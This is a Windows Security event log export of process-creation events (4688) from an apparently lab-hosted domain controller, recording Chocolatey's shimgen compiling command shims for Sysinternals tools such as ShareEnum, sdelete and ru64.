03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246867
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246866
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x7d4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ShareEnum.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246865
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb50
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x7d4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246864
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7d4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ShareEnum.exe" --output="C:\ProgramData\chocolatey\bin\ShareEnum.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ShareEnum.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246863
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES9D9.tmp" "c:\ProgramData\chocolatey\bin\CSC131E5D043A1245D981B4CD86A9450B9.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246862
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246861
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe84
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sdelete64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246860
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe84
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246859
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sdelete64.exe" --output="C:\ProgramData\chocolatey\bin\sdelete64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sdelete64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246858
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES8FF.tmp" "c:\ProgramData\chocolatey\bin\CSCA08EF60469CF4FDCB34C1A8A19C7FDB7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246857
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246856
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf50
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sdelete.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246855
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x314
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf50
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246854
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sdelete.exe" --output="C:\ProgramData\chocolatey\bin\sdelete.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sdelete.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246853
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xea0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES814.tmp" "c:\ProgramData\chocolatey\bin\CSC436FC14D932E4A188D255BE56F6C1771.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246852
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xea0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246851
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ru64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

